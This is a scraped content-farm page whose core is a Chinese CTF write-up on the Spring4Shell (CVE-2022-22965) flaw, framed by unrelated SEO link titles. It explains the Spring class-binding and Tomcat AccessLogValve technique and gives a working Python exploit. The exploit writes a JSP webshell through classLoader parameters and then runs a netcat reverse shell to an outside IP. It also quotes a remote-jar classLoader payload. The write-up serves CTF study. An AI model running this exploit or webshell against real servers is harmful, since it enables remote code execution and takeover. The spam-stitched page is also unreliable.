当前位置: 首页 > news >正文

广西建设监理协会网站网站上的销售怎么做的

广西建设监理协会网站,网站上的销售怎么做的,汉网可以建设网站不,网站建设哪便宜目录 原理概览 漏洞简述 Tomcat AccessLogValve 和 access_log 例题: 原理概览 spring框架在传参的时候会与对应实体类自动参数绑定#xff0c;通过“.”还可以访问对应实体类的引用类型变量。使用getClass方法#xff0c;通过反射机制最终获取tomcat的日志配置成员属性…目录 原理概览 漏洞简述 Tomcat AccessLogValve 和 access_log 例题: 原理概览 spring框架在传参的时候会与对应实体类自动参数绑定通过“.”还可以访问对应实体类的引用类型变量。使用getClass方法通过反射机制最终获取tomcat的日志配置成员属性通过set方法修改目录、内容等属性成员达到任意文件写入的目的。 漏洞简述 bean的四个特点 1.所有属性均为private 2.提供默认的构造方法 3.提供getter和setter方法来操作属性 4.实现Serializable接口 SpringIoC的参数绑定 当控制器方法接收参数为一个bean时提交参数会调用bean的setter方法 不仅可以对控制器参数中的bean属性赋值还可以对属性的属性进行赋值 例如 password123usernameZ3r4ycard.cid123456 user.getCard.setCid123456 user.setUsernameZ3r4y user.setPassword123 拓展 2010年爆出CVE通过内省机制强制给bean赋值拿到classLoader通过URL属性远程标签重写实现rce 通过bean对象的内省机制可以拿到class对象拿到classLoader然后就可以加载恶意类 http://localhost:8080/user?class.classLoader.URLs[0]jar:http://127.0.0.1:8888/spring-jar.jar!/ 修补 Tomcat的修补方式 检查getter方法时拿到的属性是classLoader就直接卡死报错 Apache的修补方法 针对getURLS这个方法将返回值改为clone非同一个对象 时间过了7年在2017年 java迎来了1.9版本引入了Module机制 user.getClass().getModule().getClassLoader() 这个漏洞就开始存在了一直在野利用 时间又过了5年到了2022年 这个漏洞终于浮出水面新加入的特性没有兼容旧的漏洞修补造成漏洞利用的绕过 如果配合org.apache.catalina.valves.AccessLogValve类的⽇志参数值可以直接将恶意代码写⼊服务器例如 写⼊shell.jsp作为webshell后⻔从⽽实现远程代码执⾏。 Tomcat AccessLogValve 和 access_log Tomcat的 Valve ⽤于处理请求和响应通过组合了多个 Valve 的 Pipeline 来实现按次序对请求和响应 进⾏⼀系列的处理。其中 AccessLogValve ⽤来记录访问⽇志access_log。Tomcat的 server.xml 中默认 配置了 AccessLogValve 所有部署在Tomcat中的Web应⽤均会执⾏该 Valve 内容如下 参数含义 - directoryaccess_log⽂件输出⽬录。 - prefixaccess_log⽂件名前缀。 - patternaccess_log⽂件内容格式。 - suffixaccess_log⽂件名后缀。 - fileDateFormataccess_log⽂件名⽇期后缀默认为 .yyyy-MM-dd 。 Valve classNameorg.apache.catalina.valves.AccessLogValve directorylogs prefixlocalhost_access_log suffix.txt pattern%h %l %u %t quot;%rquot; %s %b / 例题: web101 import requests import timeurl http://2cc61a3d-98f6-4c62-b3f2-d3c8d93504f5.challenges.ctfer.com:8080/local_addr124.222.136.33 local_port1337def get_shell():header{cmd:%Runtime.getRuntime().exec(request.getParameter(new String(new byte[]{97})))%}requests.get(headersheader,urlurl?class.module.classLoader.resources.context.parent.pipeline.first.pattern%25%7bcmd%7diclass.module.classLoader.resources.context.parent.pipeline.first.suffix.jspclass.module.classLoader.resources.context.parent.pipeline.first.directorywebapps%2fROOTclass.module.classLoader.resources.context.parent.pipeline.first.prefixshellclass.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat)print(请等待getShell)time.sleep(2)response requests.get(urlurlshell.jsp?anc local_addr local_port -e /bin/sh)if Process in response.text:print(已经成功反弹)else:print(反弹失败response.text)if __name__ __main__:get_shell() 成功反弹shell
http://www.zqtcl.cn/news/70067/

相关文章:

  • 网站建设关键技术苏州有什么好玩的景点景区
  • 申请绿色网站建设网站的虚拟主机在哪里买
  • ico交易网站怎么做青岛seo
  • 关键词排名查询官网成品网站源码的优化技巧
  • 襄阳市作风建设年 网站2018做网站还是app
  • 百度不收录网站怎么办网站 多服务器
  • 江苏省建设注册中心网站兴城做网站推广的
  • 网上国网推广方案怎么写wordpress+优化速度
  • 网站设计与制作说明php高级网站开发
  • 建设网站学什么语言国内高校网站建设的调查
  • 西安做网站比较好的公司网站怎么做404 301
  • 长沙网站推广工具高端网站设计元素图片
  • 做壁纸网站的意义wordpress嵌入视频播放
  • 聊城网站推广的公司贵州城市和城乡建设官方网站
  • 哪里有网站建设工程计算机网络设计报告ensp
  • 做网站怎么返回首页投资网站开发
  • 极速网站建设哪家便宜合肥建设网站查询系统
  • 为什么企业网站不是开源系统建设一个网站的流程
  • 做网站哪家公司最好wordpress 页面是什么
  • 电子商务网站建设评价杭州网络
  • 百度平台商家app下载网站优化北京哪家强?
  • 建设网站最重要的是什么百度2019旧版本下载
  • 网站公司建设都招聘那些职位网站建设设计ppt
  • 果洛营销网站建设多少钱人力外包和劳务派遣哪个更好一些
  • 网站原则四川高速公路建设集团网站
  • 台州建设监理协会网站朝阳企业网站建设方案费用
  • 乐清网站建设阿里巴巴网站怎么做全屏大图
  • 移动网站营销企业为什么要培训
  • 建设北京公司网站医院门户网站建设方案
  • 淘宝有做网站吗京东网站建设过程